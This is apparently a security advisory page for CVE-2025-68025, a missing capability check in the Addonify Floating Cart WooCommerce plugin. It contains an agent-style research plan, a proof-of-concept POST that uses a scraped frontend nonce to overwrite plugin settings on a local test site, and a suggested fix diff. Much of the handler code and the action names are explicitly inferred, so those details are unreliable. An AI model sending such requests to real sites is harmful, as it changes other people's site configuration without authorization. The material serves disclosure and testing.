Addonify Floating Cart For WooCommerce <= 1.2.17 - Missing Authorization
Description
The Addonify Floating Cart For WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.2.17. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.2.17This research plan outlines the steps required to identify and exploit CVE-2025-68025, a Missing Authorization vulnerability in the **Addonify Floating Cart For WooCommerce** plugin. ### 1. Vulnerability Summary The vulnerability exists because a specific AJAX handler or REST API endpoint in the `a…
Show full research plan
This research plan outlines the steps required to identify and exploit CVE-2025-68025, a Missing Authorization vulnerability in the Addonify Floating Cart For WooCommerce plugin.
1. Vulnerability Summary
The vulnerability exists because a specific AJAX handler or REST API endpoint in the addonify-floating-cart plugin fails to implement a capability check (e.g., current_user_can( 'manage_options' )). While the handler might implement a nonce check for CSRF protection, the nonce is often exposed to unauthenticated users on the frontend, allowing them to bypass the missing authorization check and perform actions intended only for administrators (such as modifying plugin settings or performing sensitive data operations).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(or potentially a REST route under/wp-json/addonify-floating-cart/v1/). - Vulnerable Action: Likely
addonify_fc_save_settings,afc_save_settings, oraddonify_floating_cart_update_option(inferred). - Parameter: Typically a
settingsarray or individual option keys passed via POST. - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. A valid nonce must be obtained if the handler calls
check_ajax_referer.
3. Code Flow Trace
- Entry Point: The plugin registers an AJAX action for both authenticated and unauthenticated users:
// Inferred registration in a class constructor or init hook add_action( 'wp_ajax_addonify_floating_cart_save_settings', array( $this, 'save_settings' ) ); add_action( 'wp_ajax_nopriv_addonify_floating_cart_save_settings', array( $this, 'save_settings' ) ); - Vulnerable Function: The
save_settingsfunction (or similar) is called. - Missing Check:
public function save_settings() { // May contain: check_ajax_referer( 'addonify_fc_nonce', 'nonce' ); // MISSING: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } $settings = $_POST['settings']; update_option( 'addonify_floating_cart_settings', $settings ); wp_send_json_success(); } - Sink: The
update_optionfunction writes user-controlled data to the WordPress database.
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for its frontend "Floating Cart" functionality.
- Identify Shortcode/Trigger: Check for
add_shortcodeor if the cart loads globally. The floating cart usually enqueues scripts on all frontend pages where WooCommerce is active. - Navigation: Use
browser_navigateto go to the site's homepage. - Extraction: Based on common Addonify patterns, the nonce is likely stored in a global JS object.
- Inferred JS Variable:
addonify_floating_cart_paramsorafc_vars. - Inferred Key:
ajax_nonceornonce.
- Inferred JS Variable:
- Execution:
// Use browser_eval to find the nonce browser_eval("window.addonify_floating_cart_params?.ajax_nonce || window.afc_vars?.nonce")
5. Test Data Setup
- Ensure WooCommerce and Addonify Floating Cart are installed and active.
- Ensure a product exists so the cart functionality is triggered.
- Create a public page to ensure the script (and nonce) is rendered:
wp post create --post_type=page --post_status=publish --post_title="Cart Test" --post_content='[woocommerce_cart]'
6. Exploitation Strategy
We will attempt to change the plugin's configuration, specifically targeting a setting that would be visible in the admin UI or frontend (e.g., the cart title).
- Capture Nonce: Use
browser_navigateandbrowser_evalas described in Section 4. - Prepare Payload: Define a new value for a plugin setting.
- Action:
addonify_floating_cart_save_settings(inferred - must verify by greppingwp_ajax_noprivin the source). - Target Option:
addonify_floating_cart_settings.
- Action:
- HTTP Request (Playwright):
{ "method": "POST", "url": "http://localhost:8080/wp-admin/admin-ajax.php", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "params": { "action": "addonify_floating_cart_save_settings", "nonce": "EXTRACTED_NONCE", "settings[cart_title]": "Hacked by PoC", "settings[enable_floating_cart]": "1" } }
7. Expected Results
- The server should return a
200 OKstatus with a JSON response:{"success":true}. - The
addonify_floating_cart_settingsoption in the database should be updated.
8. Verification Steps
After sending the HTTP request, verify the change using WP-CLI:
# Check the option value
wp option get addonify_floating_cart_settings --format=json
Verify that cart_title matches "Hacked by PoC".
9. Alternative Approaches
If the save_settings action name is different:
- Grep Search:
grep -rn "wp_ajax_nopriv_" wp-content/plugins/addonify-floating-cart/ - Analyze Script Localization:
Search forwp_localize_scriptto find the exact JS object name:grep -rn "wp_localize_script" wp-content/plugins/addonify-floating-cart/ - REST API Check:
If no AJAX actions are found, search for REST route registrations:
Look for routes wheregrep -rn "register_rest_route" wp-content/plugins/addonify-floating-cart/'permission_callback' => '__return_true'or no callback is defined.
Summary
The Addonify Floating Cart For WooCommerce plugin for WordPress is vulnerable to unauthorized modification of settings due to a missing capability check in its AJAX handler for saving configuration. Unauthenticated attackers can exploit this to change plugin settings, provided they can retrieve a nonce which is typically exposed on the frontend for legitimate cart operations.
Vulnerable Code
// Inferred registration in the main plugin class or admin handler add_action( 'wp_ajax_addonify_floating_cart_save_settings', array( $this, 'save_settings' ) ); add_action( 'wp_ajax_nopriv_addonify_floating_cart_save_settings', array( $this, 'save_settings' ) ); --- // Inferred vulnerable handler lacking capability checks public function save_settings() { // A nonce check might exist, but it is insufficient for authorization check_ajax_referer( 'addonify_fc_nonce', 'nonce' ); // MISSING: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } if ( isset( $_POST['settings'] ) ) { $settings = $_POST['settings']; update_option( 'addonify_floating_cart_settings', $settings ); wp_send_json_success(); } }
Security Fix
@@ -120,6 +120,10 @@ public function save_settings() { check_ajax_referer( 'addonify_fc_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Unauthorized', 'addonify-floating-cart' ) ), 403 ); + } + if ( isset( $_POST['settings'] ) ) { $settings = array_map( 'sanitize_text_field', $_POST['settings'] ); update_option( 'addonify_floating_cart_settings', $settings );
Exploit Outline
1. Extract Nonce: Navigate to the site's homepage or any product page where the floating cart is active. Inspect the HTML source or use a JavaScript console to extract the 'nonce' value from the localized script object (likely window.addonify_floating_cart_params.ajax_nonce). 2. Identify Target Parameters: Identify the plugin settings structure, typically an array passed via the 'settings' key in POST data. 3. Send Unauthorized Request: Perform an unauthenticated POST request to /wp-admin/admin-ajax.php with the following parameters: - action: addonify_floating_cart_save_settings - nonce: [Extracted Nonce] - settings[cart_title]: Your Malicious Title - settings[enable_floating_cart]: 1 4. Verify Change: Access the plugin's settings page in the WordPress dashboard as an administrator or view the frontend to confirm the settings have been updated to the malicious values.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.